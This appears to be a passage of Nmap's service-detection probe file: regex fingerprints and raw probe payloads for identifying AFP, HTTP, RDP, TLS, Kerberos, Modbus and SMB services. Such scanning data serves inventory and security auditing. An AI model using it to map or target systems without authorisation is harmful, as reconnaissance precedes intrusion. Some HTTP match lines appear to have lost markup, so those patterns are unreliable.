m=^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128.*[\x04\x05]([\w.-]+)\0\0=s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.6; $2/ o/Mac OS X/ h/$3/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.6/ match afp m=^\x01\x03\0\x80........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver=s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5 - 10.6; $2/ o/Mac OS X/ h/$3/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ cpe:/o:apple:mac_os_x:10.6/ match afp m|^\x01\x03\0\x80........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh.\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver|s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ # Flags \x8f\xfb. match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*AirPort.*AFP3\.2|s p|Apple Airport Extreme/Time Capsule AFP| i/name: $1; protocol 3.2 WAP/ cpe:/h:apple:airport_extreme/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*TimeCapsule.*AFP3\.3\x06AFP3\.2\x06AFP3\.1.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple Time Capsule AFP/ i/name: $1; protocol 3.3/ d/storage-misc/ h/$2/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*TimeCapsule.*AFP3\.3\x06AFP3\.2\x06AFP3\.1.\tDHCAST128|s p/Apple Time Capsule AFP/ i/name: $1; protocol 3.3/ d/storage-misc/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tVMware7,1\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128\x04DHX2\x06Recon1\rClient\x20Krb\x20v2\0\0.*[\x04\x05]([\w.-]+)\x01.afpserver/([\w.@-]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.1; Mac OS X 10.6.3/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a # Sometimes the hostname isn't included match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a # Flags \x9f\xf3 match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xf3.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03=s p/Apple AFP/ i/name: $1; protocol 3.4; OS X 10.9 - 10.11; $2/ o/OS X/ cpe:/a:apple:afp_server/ cpe:/o:apple:mac_os_x:10.10/ cpe:/o:apple:mac_os_x:10.11/ cpe:/o:apple:mac_os_x:10.9/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x9f\xf3.([^\0\x01]+).*?VMware(\d+),(\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03|s p/Apple AFP/ i/name: $1; protocol 3.4; VMware $2.$3/ o/Mac OS X/ cpe:/a:apple:afp_server/ cpe:/o:apple:mac_os_x/a # Flags \x9f\xfb. match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06\tDHCAST128\x04DHX2\x06Recon1\rClient Krb v2\x03GSS\x0fNo User Authent.*\x1b\$not_defined_in_RFC4178@please_ignore$=s p/Apple AFP/ i/name: $1; protocol 3.4; Mac OS X 10.6 - 10.8; $2/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.6/ cpe:/o:apple:mac_os_x:10.7/ cpe:/o:apple:mac_os_x:10.8/ match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x05\tDHCAST128\x04DHX2\x06Recon1\rClient Krb v2\x03GSS.*\x1b\$not_defined_in_RFC4178@please_ignore=s p/Apple AFP/ i/name: $1; protocol 3.4; Mac OS X 10.6 - 10.8; $2/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.6/ cpe:/o:apple:mac_os_x:10.7/ cpe:/o:apple:mac_os_x:10.8/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*VMware(\d+),(\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06\tDHCAST128\x04DHX2\x06Recon1\rClient Krb v2\x03GSS\x0fNo User Authent.*\x1b\$not_defined_in_RFC4178@please_ignore$|s p/Apple AFP/ i/name: $1; protocol 3.4; Mac OS X 10.6; VMware $2.$3/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a match afp m|^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*Xserve\d+,\d+\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x05\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.4; Xserve/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x05\tDHCAST128\x04DHX2\x06Recon1\x03GSS\x0fNo User Authent=s p/Apple AFP/ i/name: $1; protocol 3.4; OS X 10.8; $2/ o/OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.8/ softmatch afp m|^\x01\x03\0\0........\0\0\0\0.*AFP|s match ajp13 m|^AB\0N\x04\x01\x94\0\x06/cccb/\0\0\x02\0\x0cContent-Type\0\0\x17text/html;charset=utf-8\0\0\x0eContent-Length\0\0\x03970\0AB\x03| p/Apache Jserv/ match cpu m|^unsupported auth method\0| p/Plan 9 cpu/ o/Plan 9/ cpe:/o:belllabs:plan_9/a match decomsrv m|^\x02\0\0\x01\x03\0U\xd0DSQ\x02\0\0\x01\x03\0U\xd0DSQ$| p/Lotus Domino decommission server/ i/decomsrv.exe/ cpe:/a:ibm:lotus_domino/ match dsr-video m|^\0\0\0\0\0\x84\0\x10\x01\xa3{\x10\0\0\0\0$| p/Avocent KVM DSR video/ match ftp m|^220 \r\n451 The parameter is incorrect\. \r\n| p/IIS ftpd/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a # Better to grab more details elsewhere softmatch ftp m|^220 .*\r\n451 The parameter is incorrect\. \r\n| p/IIS ftpd/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a match h.239 m|^BadRecord| p/Polycom People+Content IP H.239/ d/VoIP phone/ match h323q931 m|^\x03\0\x000\x08\x02\0\0}\x08\x02\x80\xe2\x14\x01\0~\0\x1d\x05\x08 \x19\0\x06\0\x08\x91J\0\x05\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| p/Polycom ViewStation H.323/ match http m|^HTTP/1\.0 500 Internal Server Error\r\nConnection: Close\r\nContent-Type: text/html\r\n.*

          java\.lang\.Exception: Invalid request: \x16\x03|s p/Dell PowerEdge OpenManage Server Administrator httpd/ o/Windows/ cpe:/a:dell:openmanage_server_administrator/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.0 400 Bad Request\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\n\r\n400 Bad Request\n

          400 Bad Request

          \nUnsupported method\.\n\n| p/Brivo EdgeReader access control http interface/ d/security-misc/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 30\r\nContent-Type: text/plain\r\n\r\nHTTP requires CRLF terminators| p/CherryPy wsgiserver/ cpe:/a:cherrypy:cherrypy/ match http m|^\n\n501 Method Not Implemented\n\n

          Method Not Implemented

          \n

          \x16\x03 to /[^ ]* not supported\.
          \n

          \n
          \n
          IBM_HTTP_Server at ([\w.-]+) Port \d+
          \n\n| p/IBM HTTP Server/ h/$1/ cpe:/a:ibm:http_server/ match http m|^HTTP/1\.1 400 Bad Request\r\nDate: .*
          nginx
          \r\n\r\n\r\n$|s p/nginx/ i/reverse proxy/ cpe:/a:igor_sysoev:nginx/ match http m|^\n\n501 Method Not Implemented\n\n

          Method Not Implemented

          \n

          \x16\x03 to /[^ ]* not supported\.
          \n

          \n
          \n
          Apache Server at ([\w.-]+) Port \d+
          \n\n| p/Apache httpd/ h/$1/ cpe:/a:apache:http_server/a match http-proxy m|^ 400 badrequest\r\nVia: 1\.0 ([\w.-]+) \(McAfee Web Gateway ([\w._-]+)\)\r\nConnection: Close\r\n| p/McAfee Web Gateway/ v/$2/ i/Via $1/ cpe:/a:mcafee:web_gateway:$2/ match http-proxy m|^HTTP/1\.1 400\r\nConnection: close\r\n\r\nBad request syntax \('\\x16\\x03\\x00\\x00S\\x01\\x00\\x00O\\x03\\x00\?G\\xd7\\xf7\\xba,\\xee\\xea\\xb2`~\\xf3\\x00\\xfd\\x82\{\\xb9\\xd5\\x96\\xc8w\\x9b\\xe6\\xc4\\xdb<=\\xdbo\\xef\\x10n\\x00\\x00\(\\x00\\x16\\x00\\x13\\x00'\)| p/XX-Net web proxy tool/ match http-proxy m|^HTTP/1\.0 414 Request URI too long\r\nContent-Type: text/html\r\nContent-Length: 23\r\nExpires: now\r\nPragma: no-cache\r\nCache-control: no-cache,no-store\r\n\r\nRequest URI is too long| p/Pound http reverse proxy/ cpe:/a:apsis:pound/ match ilo-vm m|^\"\0\x03\0$| p/HP Integrated Lights-Out Virtual Media/ cpe:/h:hp:integrated_lights-out/ match iperf3 m|^\t$| match login m|^\0\r\nlogin: \^W\^@\^@\^@\^| p/VxWorks logind/ o/VxWorks/ cpe:/o:windriver:vxworks/a match maxdb m|^.Rejected bad connect packet\0$|s p/SAP MaxDB/ match msexchange-logcopier m|^\x15\x01\0\0\x08\0\0\0\0\x80\t\x03\x08$| p/Microsoft Exchange 2010 log copier/ cpe:/a:microsoft:exchange_server:2010/ # Some echo back the length from the probe? match modbus m|^\x16\x03\0\0[\0S]\x03[\0\x01]\x80[\x01-\x03]| p/Modbus TCP/ match modbus m|^\x16\x03\0\0[\0S]\x03[\0\x01]\x80[\x0a-\x0b]| p/Modbus TCP/ i/gateway/ # SoftPLC? match modbus m|^\x16\x03\0\0\0\xfd[\0\x01]\x80[\x01-\x03]\0+$| p/Modbus TCP/ # Mitsubishi variable frequency drive match modbus m|^\x16\x03\0\0S\x03\0\x93\x01| p/Modbus TCP/ match netbios-ssn m|^\0\0\0%G\xd7\xf7\xba,\xff\xea\xff\xff~\xf3\0\xfd\x82{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<=\xdbo\xef\x10n\0\0\0\0\x16\0$| p/Konica Minolta bixhub 350 printer smbd/ d/printer/ cpe:/h:konicaminolta:bixhub_350/a match pbx-alarm m|^1\x0c5\x0c9\x0c\x0b\x03$| p/Aastra Open Interfaces Platform PBX alarm server/ d/PBX/ cpe:/a:aastra:oip/ match pop3-proxy m|^ERR concurrent connection limit in avast! exceeded\(pass:\d+, processes:([\w._-]+)\[\d+\]\)\r\n| p/Avast! anti-virus pop3 proxy/ i/connection limit exceeded by $1/ o/Windows/ cpe:/o:microsoft:windows/ # This funny service runs on port 9001 and seems to echo other service probes, # however they don't seem to come in any obvious order. Examples: # ---------- GenericLines ---------- # m|^GET / HTTP/1\.0| # ---------- GetRequest ---------- # m|^OPTIONS / HTTP/1\.0| # ---------- SSLSessionReq ---------- # m|^OPTIONS / RTSP/1\.0| # ---------- SSLv23SessionReq ---------- # m|^\x80\0\0\(r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\x7c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| match postx-reporting m|^OPTIONS / RTSP/1\.0| p/PostX IP Reporting alarm system/ match progress m|^\0\0\0\x01\0\x17\0\x14\0\x06\0\0\0.\0\0\0\0\0\0|s p/Progress Database/ cpe:/a:progress:database/ # SecureTransport 5.3 match ptcp m|^\0.\x02\0\0\x02\0CClient /[\d.]+:\d+ has requested unsupported pTCP version 0\x02\0\0\0\0| p/Axway SecureTransport PeSIT over pTCP/ cpe:/a:axway:securetransport/ match ptp-ip m|^\x0c\0\0\0\x05\0\0\0\x03\0\0\0| p/Picture Transport Protocol over IP/ match remoting m|^\.NET\x01\0\x02\0\0\0\0\0\0\0\x02\0\x03\x01\0\x03\0\x01\x01..\0\0System\.Runtime\.Remoting\.RemotingException: |s p/MS .NET Remoting services/ cpe:/a:microsoft:.net_framework/ match siebel m|^\0\0\0\x40\0\0\0\0\0\0\0\x01\0\0\0\0\0\0..\0\0\0\x05\0\0\0\0\0\0\0\0\x4e...\0...\0\0\0\0\0\0\0\0\0\0\0\x05\0\0\0\x0c\0\0\0\x08\0\x12\0\x68\0\0\0\0$| p/Siebel Gateway Name Server/ cpe:/a:oracle:siebel_suite/ match xtel m|^\x15Annuaire \xe9lectronique| p/xteld/ i/French/ match tor m|^\x16\x03\0\0\*\x02\0\0&\x03\0.*T[oO][rR]1.*[\x00-\x20]([-\w_.]+) |s p/Tor node/ i/Node name: $1/ cpe:/a:torproject:tor/ match storagecraft-image m|^\x15\x01\0\0\x08\0\0\0\0\x80\t\x03\x08\.NET\x01\0\x02\0\0\0\0\0\0\0\x02\0\x03\x01\0\x03\0\x01\x01 \0\0\0Authentication failure on server\x05\0\0\0\0$| p/StorageCraft Image Manager/ match vmware-print m|^\r\0\0+$| p/VMware virtual printing service/ match xamarin m|^ERROR: Another instance is running\n| p/Xamarin MonoTouch/ ##############################NEXT PROBE############################## # This is an RDP connection request with the MSTS cookie set. Some RDP # listeners (with NLA?) only respond to this one. # This must be sent before TLSSessionReq because Windows RDP will handshake TLS # immediately and we don't have a way of identifying RDP at that point. Probe TCP TerminalServerCookie q|\x03\0\0*%\xe0\0\0\0\0\0Cookie: mstshash=help\r\n\x01\0\x08\0\x03\0\0\0| rarity 7 ports 3388,3389 fallback TerminalServer # Windows 10 match rdp m|^\x03\0\0\x13\x0e\xd0\0\0\x124\0..\x08\0\x02\0\0\0| p/Microsoft Terminal Services/ o/Windows/ cpe:/o:microsoft:windows/a match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\x124\0$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\x00\x00\x0b| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\x00\x00\x11| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\x12.\0$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\0\0\x17\x08\x02\0\0Z~\0\x0b\x05\x05@\x06\0\x08\x91J\0\x02X$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\0\0\x11\x08\x02..}\x08\x03\0\0\xdf\x14\x01\x01$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\x03.\0$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\0\0\x0b\x06\xd0\0\0\0\0\0| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\0\0\x0e\t\xd0\0\0\0[\x02\xa1]\0\xc0\x01\n$| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a match rdp m|^\x03\0\0\x0b\x06\xd0\0\x004\x12\0| p/Microsoft Terminal Services/ o/Windows XP/ cpe:/o:microsoft:windows_xp/a ##############################NEXT PROBE############################## # TLSv1.2 ClientHello probe. TLS implementations may choose to ignore (close # silently) incompatible ClientHello messages like the one in SSLSessionReq. # This one should be widely compatible, and if we avoid adding non-ssl service # matches here, we can continue to upgrade it (bytes 10 and 11 and the ranges # in the match lines) Probe TCP TLSSessionReq q|\x16\x03\0\0\x69\x01\0\0\x65\x03\x03U\x1c\xa7\xe4random1random2random3random4\0\0\x0c\0/\0\x0a\0\x13\x009\0\x04\0\xff\x01\0\0\x30\0\x0d\0,\0*\0\x01\0\x03\0\x02\x06\x01\x06\x03\x06\x02\x02\x01\x02\x03\x02\x02\x03\x01\x03\x03\x03\x02\x04\x01\x04\x03\x04\x02\x01\x01\x01\x03\x01\x02\x05\x01\x05\x03\x05\x02| rarity 1 # Remove 3388 and 3389 if the ssl/ms-wbt-server match below doesn't catch stuff well enough. ports 443,444,465,636,989,990,992,993,994,995,1241,1311,2252,3388,3389,4433,4444,5061,6679,6697,8443,8883,9001 fallback GetRequest # SSLv3 - TLSv1.3 ServerHello match ssl m|^\x16\x03[\0-\x04]..\x02\0\0.\x03[\0-\x03]|s # SSLv3 - TLSv1.3 Alert match ssl m|^\x15\x03[\0-\x04]\0\x02[\x01\x02].$|s match autonomic-mrad m|^\x1b\[2J\x1b\[2J\r\n\r\nAutonomic Controls MRAD Bridge version (\d[\w.]+) Release\.\r\nMore info found on the Web http://www\.Autonomic-Controls\.com\r\n\r\nType '\?' for help or 'help ' for help on \.\r\n\r\n\r\nError: Unknown command '\x01'\.\r\nError: Unknown command '\x03'\.\r\n| p/Autonomic Controls MRAD Bridge/ v/$1/ d/media device/ match iperf3 m|^\t$| ##############################NEXT PROBE############################## # SSLv2-compatible ClientHello, 39 ciphers offered. # Will elicit a ServerHello from most SSL implementations, apart from those # that are TLSv1-only or SSLv3-only. As it comes after the SSLv3 probe # (SSLSessionReq), its only added value is the detection of SSLv2-only servers. # SSLv2-only servers are rare so this probe has a high rarity. Probe TCP SSLv23SessionReq q|\x80\x9e\x01\x03\x01\x00u\x00\x00\x00 \x00\x00f\x00\x00e\x00\x00d\x00\x00c\x00\x00b\x00\x00:\x00\x009\x00\x008\x00\x005\x00\x004\x00\x003\x00\x002\x00\x00/\x00\x00\x1b\x00\x00\x1a\x00\x00\x19\x00\x00\x18\x00\x00\x17\x00\x00\x16\x00\x00\x15\x00\x00\x14\x00\x00\x13\x00\x00\x12\x00\x00\x11\x00\x00\n\x00\x00\t\x00\x00\x08\x00\x00\x06\x00\x00\x05\x00\x00\x04\x00\x00\x03\x07\x00\xc0\x06\x00@\x04\x00\x80\x03\x00\x80\x02\x00\x80\x01\x00\x80\x00\x00\x02\x00\x00\x01\xe4i<+\xf6\xd6\x9b\xbb\xd3\x81\x9f\xbf\x15\xc1@\xa5o\x14,M \xc4\xc7\xe0\xb6\xb0\xb2\x1f\xf9)\xe8\x98| rarity 8 ports 443,444,465,548,636,989,990,992,993,994,995,1241,1311,2000,4433,4444,5550,7210,7272,8009,8194,8443,9001 fallback GetRequest # SSLv2 ServerHello match ssl m|^..\x04\0.\0\x02|s p/SSLv2/ # TLSv1 ServerHello, compatible with SSLv2: match ssl m|^\x16\x03\x01..\x02...\x03\x01|s p/TLSv1/ # SSLv3 ServerHello, compatible with SSLv2: match ssl m|^\x16\x03\0..\x02...\x03\0|s p/SSLv3/ # SSLv3 - TLSv1.3 ServerHello match ssl m|^\x16\x03[\0-\x04]..\x02\0\0.\x03[\0-\x03]|s # SSLv3 - TLSv1.2 Alert match ssl m|^\x15\x03[\0-\x04]\0\x02[\x01\x02].$|s match iperf3 m|^\t$| match misys-loaniq m|^\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0..sJ\0\0\0\0\0\0..\0\0\n Misys Loan IQ ([\w._-]+) \(Server\)\n Build : for Windows using Oracle \(built: (\w\w\w \d\d \d\d\d\d_\d\d:\d\d:\d\d) \([\w._-]+@[\w._-]+-C:\\[^)]*\)\)\n Patch Info : \[(?:[\w._-]+(?:, )?)+\]\n\n Environment name: \w+ Prime - \w+\n ADMCP Primary node: \w+; Secondary node: \w+; Portdaem Port = (\d+)\n\n Current time: [^\n]*\n On: \w+ \([\w._-]+\)\n OS: (Microsoft Windows[^\n]*)\n MEMORY \(Tot/Free\) : ([\d.]+) / ([\d.]+) MB\n\n Last Logger Start : [^\n]*\n L$| p/Misys Loan IQ/ v/$1/ i|built $2; portdaem port $3; free memory $6/$5 MB; $4| o/Windows/ cpe:/o:microsoft:windows/a match misys-loaniq m|^\0\0@\0tJ\0\0\0\0\0\0\0@\0\0\n Misys Loan IQ ([\w._-]+) \(Server\)\n Build : for Windows using Oracle \(built: (\w\w\w \d\d \d\d\d\d_\d\d:\d\d:\d\d) \([\w._-]+@[\w._-]+-C:\\[^)]*\)\)\n Patch Info : \[\]\n\n Environment name: \w+ \w+\n ADMCP Primary node: \w+; Secondary node: \w+; Portdaem Port = (\d+)\n\n Current time: [^\n]*\n On: \w+ \([\w._-]+\)\n OS: (Microsoft Windows[^\n]*)\n MEMORY \(Tot/Free\) : ([\d.]+) / ([\d.]+) MB\n| p/Misys Loan IQ/ v/$1/ i|built $2; portdaem port $3; free memory $6/$5 MB; $4| o/Windows/ cpe:/o:microsoft:windows/a ##############################NEXT PROBE############################## # Kerberos AS_REQ with realm NM, server name krbtgt/NM, missing client name. Probe TCP Kerberos q|\0\0\0\x71\x6a\x81\x6e\x30\x81\x6b\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\x0a\xa4\x81\x5e\x30\x5c\xa0\x07\x03\x05\0\x50\x80\0\x10\xa2\x04\x1b\x02NM\xa3\x17\x30\x15\xa0\x03\x02\x01\0\xa1\x0e\x30\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z\xa7\x06\x02\x04\x1f\x1e\xb9\xd9\xa8\x17\x30\x15\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x01\x02\x01\x03\x02\x01\x02| rarity 5 ports 88 # MIT 1.2.8 match kerberos-sec m=^\0\0\0[\x88-\x8a]~\x81[\x86-\x88]0\x81[\x83-\x85]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa2\x11\x18\x0f\d{14}Z\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01\x06\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xab\(\x1b&Client not found in Kerberos database\0$=s p/MIT Kerberos/ v/1.2/ i/server time: $1-$2-$3 $4:$5:$6Z/ cpe:/a:mit:kerberos:5-1.2/ # OS X 10.6.2; MIT 1.3.5, 1.6.3, 1.7. match kerberos-sec m=^\0\0\0[\x6d-\x6f]~[\x6b-\x6d]0[\x69-\x6b]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa2\x11\x18\x0f\d{14}Z\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01\x06\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xab\x0e\x1b\x0cNULL_CLIENT\0$=s p/MIT Kerberos/ v/1.3 - 1.8/ i/server time: $1-$2-$3 $4:$5:$6Z/ cpe:/a:mit:kerberos:5-1/ # Heimdal 1.0.1-5ubuntu4 match kerberos-sec m=^\0\0\0[\x62-\x64]~[\x60-\x62]0[\x5e-\x60]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01<\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xab\x16\x1b\x14No client in request$=s p/Heimdal Kerberos/ i/server time: $1-$2-$3 $4:$5:$6Z/ cpe:/a:heimdal:kerberos/ match kerberos-sec m=^\0\0\0[\x4a-\x4c]~[\x48-\x4a]0[\x46-\x48]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01D\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM$=s p/Microsoft Windows Kerberos/ i/server time: $1-$2-$3 $4:$5:$6Z/ o/Windows/ cpe:/a:microsoft:kerberos/ cpe:/o:microsoft:windows/a match kerberos-sec m=^\0\0\0[\x79-\xf0]\0[\x79-\xf0]\0\x01\0\0~[\x71-\xe8]0[\x69-\x80]\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)Z\xa5[\x03-\x05]\x02(?:\x03...|\x02..|\x01.)\xa6\x03\x02\x01<\xa9.\x1b.([\w.-]+)\xaa\x1d0\x1b\xa0\x03\x02\x01\0\xa1\x140\x12\x1b\x06kadmin\x1b\x08changepw\xac#\x04!\0\x01Request length was inconsistent=s p/MIT Kerberos/ i/OpenWRT; server time: $1-$2-$3 $4:$5:$6Z; realm: $7/ cpe:/a:mit:kerberos/ match netradio m%^@(?:NETRADIO|MAIN|SYS):[A-Z0-9]+=% p/Yamaha Net Radio/ d/media device/ match qemu-vlan m|^\0\0\0qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa4\x81\^0\\\xa0\x07\x03\x05\0P\x80\0\x10\xa2\x04\x1b\x02NM\xa3\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z| p/QEMU VLAN listener/ cpe:/a:qemu:qemu/ match sap-gui m|^\0\0\0\x0e\*\*DPTMMSG\*\*\0\0\xf8| p/SAP Gui Dispatcher/ cpe:/a:sap:gui/ softmatch smpp m|^\0\0\0\x10\x80\0\0\0\0\0\0\x03....$|s # SMB Negotiate Protocol ##############################NEXT PROBE############################## Probe TCP SMBProgNeg q|\0\0\0\xa4\xff\x53\x4d\x42\x72\0\0\0\0\x08\x01\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\x06\0\0\x01\0\0\x81\0\x02PC NETWORK PROGRAM 1.0\0\x02MICROSOFT NETWORKS 1.03\0\x02MICROSOFT NETWORKS 3.0\0\x02LANMAN1.0\0\x02LM1.2X002\0\x02Samba\0\x02NT LANMAN 1.0\0\x02NT LM 0.12\0| rarity 4 ports 42,88,135,139,445,660,1025,1027,1031,1112,3006,3900,5000,5009,5432,5555,5600,7461,9102,9103,18182,27000-27010 match anynet-sna m|^\0\0MF\xff\xf3MBr\0\0\0\0\x08\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\x06\0\0\x01\0\0\x81\0\x02PC NETWORK PROGRAM 1\.0\0\x02MICROSOFT NETWORKS 1\.03\0\x02MICROSOFT NETWORKS 3\.0\0\x02LANMAN1\.0\0\x02LM1\.2X002\0\x02Samba\0\x02NT LANMAN 1\.0\0\x02NT LM 0$| p/AnyNet SNA/ match as-signon m|^\0\0\0\x18\xffSMBr\0\0\0\0\x08\x01@\0\x04\xf0\0\0\x01\0\x03$| p/IBM Client Tools signon/ match 